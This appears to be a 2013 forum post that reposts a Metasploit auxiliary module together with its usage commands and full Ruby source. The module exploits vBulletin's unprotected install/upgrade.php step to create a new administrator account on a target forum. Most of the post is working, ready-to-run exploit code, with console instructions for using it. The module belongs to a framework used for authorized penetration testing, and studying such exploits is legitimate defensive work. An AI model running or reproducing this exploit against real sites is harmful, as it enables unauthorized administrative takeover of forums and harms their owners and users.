vBulletin Administrator Account Creation

Active Members

Fi8sVrs

Posted October 15, 2013

Active Members

- Report

Posted October 15, 2013 (edited)

This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This module has been tested successfully on vBulletin 4.1.5 and 4.1.0.

Module Name

auxiliary/admin/http/vbulletin_upgrade_admin

Authors

Unknown

juan vazquez <juan.vazquez [at] metasploit.com>

References

URL: https://rstforums.com/forum/76476-dangerous-vbulletin-exploit-wild.rst

URL: Dangerous vBulletin exploit in the wild

URL: Potential vBulletin Exploit (vBulletin 4.1+, vBulletin 5+) - vBulletin Community Forum

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/admin/http/vbulletin_upgrade_admin
msf auxiliary(vbulletin_upgrade_admin) > show actions
...actions...
msf auxiliary(vbulletin_upgrade_admin) > set ACTION <action-name>
msf auxiliary(vbulletin_upgrade_admin) > show options
...show and set options...
msf auxiliary(vbulletin_upgrade_admin) > run

Development

Source Code

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'vBulletin Administrator Account Creation',
      'Description' => %q{
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
create a new administrator account, as exploited in the wild on October 2013. This module
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
},
      'Author' =>
        [
          'Unknown', # Vulnerability discoverer? found in the wild
          'juan vazquez' #metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
          [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
        ],
      'DisclosureDate' => 'Oct 09 2013'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
        OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
      ], self.class)
  end

  def user
    datastore["USERNAME"]
  end

  def pass
    datastore["PASSWORD"]
  end

  def run

    if user == pass
      print_error("#{peer} - Please select a password different than the username")
      return
    end

    print_status("#{peer} - Trying a new admin vBulletin account...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
      'method' =>'POST',
      'vars_post' => {
        "version" => "install",
        "response" => "true",
        "checktable" => "false",
        "firstrun" => "false",
        "step" => "7",
        "startat" => "0",
        "only" => "false",
        "options[skiptemplatemerge]" => "0",
        "reponse" => "yes",
        "htmlsubmit" => "1",
        "htmldata[username]" => user,
        "htmldata[password]" => pass,
        "htmldata[confirmpassword]" => pass,
        "htmldata[email]" => datastore["EMAIL"]
      },
      'headers' => {
        "X-Requested-With" => "XMLHttpRequest"
      }
    })

    if res and res.code == 200 and res.body =~ /Administrator account created/
      print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
      report_auth_info(
        :host => rhost,
        :port => rport,
        :sname => 'http',
        :user => user,
        :pass => pass,
        :active => true,
        :proof => res.body
      )
    else
      print_error("#{peer} - Admin account creation failed")
    end
  end
end